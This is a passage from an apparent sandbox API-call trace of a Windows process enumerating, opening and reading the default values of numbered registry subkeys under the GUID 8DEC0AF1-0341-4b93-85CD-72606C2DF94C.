lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x40) returned 0x0 [0216.981] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x12, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-25", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.981] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.981] _errno () returned 0x93f095490 [0216.981] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-25", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.982] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x40) returned 0x0 [0216.982] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x13, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-26", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.982] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.982] _errno () returned 0x93f095490 [0216.982] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-26", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.982] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x40) returned 0x0 [0216.982] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x14, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-27", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.982] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.982] _errno () returned 0x93f095490 [0216.983] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-27", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.983] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x50) returned 0x0 [0216.983] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x15, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-28", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.983] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.983] _errno () returned 0x93f095490 [0216.983] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-28", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.983] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x80) returned 0x0 [0216.983] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x16, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-29", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.983] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.984] _errno () returned 0x93f095490 [0216.984] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-29", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.984] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x70) returned 0x0 [0216.984] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x17, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-3", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.984] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.984] _errno () returned 0x93f095490 [0216.984] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-3", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.984] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x40) returned 0x0 [0216.985] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x18, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-30", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.985] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.985] _errno () returned 0x93f095490 [0216.985] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-30", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.985] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x90) returned 0x0 [0216.985] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x19, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-31", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.985] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.985] _errno () returned 0x93f095490 [0216.986] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-31", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.986] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x90) returned 0x0 [0216.986] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x1a, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-32", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.986] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.986] _errno () returned 0x93f095490 [0216.986] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-32", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.986] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x60) returned 0x0 [0216.986] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x1b, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-33", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.986] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.986] _errno () returned 0x93f095490 [0216.987] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-33", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.987] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x40) returned 0x0 [0216.987] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x1c, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-34", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.987] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.987] _errno () returned 0x93f095490 [0216.987] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-34", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.987] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x80) returned 0x0 [0216.987] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x1d, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-35", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.987] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.988] _errno () returned 0x93f095490 [0216.988] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-35", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.988] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0xa0) returned 0x0 [0216.988] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x1e, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-36", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.988] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.988] _errno () returned 0x93f095490 [0216.988] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-36", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.988] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x40) returned 0x0 [0216.988] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x1f, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-37", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.988] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.989] _errno () returned 0x93f095490 [0216.989] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-37", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.989] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x40) returned 0x0 [0216.989] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x20, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-38", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.989] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.989] _errno () returned 0x93f095490 [0216.989] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-38", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.989] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x70) returned 0x0 [0216.989] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x21, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-39", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.989] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.990] _errno () returned 0x93f095490 [0216.990] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-39", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.990] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x50) returned 0x0 [0216.990] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x22, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-4", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.990] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.990] _errno () returned 0x93f095490 [0216.990] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-4", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.990] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x40) returned 0x0 [0216.990] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x23, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-40", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.990] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.991] _errno () returned 0x93f095490 [0216.991] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-40", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.991] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x60) returned 0x0 [0216.991] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x24, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-41", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.991] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.991] _errno () returned 0x93f095490 [0216.991] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-41", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.991] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x40) returned 0x0 [0216.991] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x25, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-42", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.991] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.991] _errno () returned 0x93f095490 [0216.992] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-42", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.992] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x90) returned 0x0 [0216.992] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x26, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-43", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.992] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.992] _errno () returned 0x93f095490 [0216.992] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-43", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.992] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x40) returned 0x0 [0216.992] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x27, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-44", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.992] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.992] _errno () returned 0x93f095490 [0216.992] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-44", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.992] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x60) returned 0x0 [0216.993] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x28, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-45", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.993] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.993] _errno () returned 0x93f095490 [0216.993] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-45", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.993] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x40) returned 0x0 [0216.993] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x29, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-46", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.993] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.993] _errno () returned 0x93f095490 [0216.993] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-46", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.993] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0xa0) returned 0x0 [0216.993] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x2a, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-47", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.993] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.994] _errno () returned 0x93f095490 [0216.994] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-47", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.994] 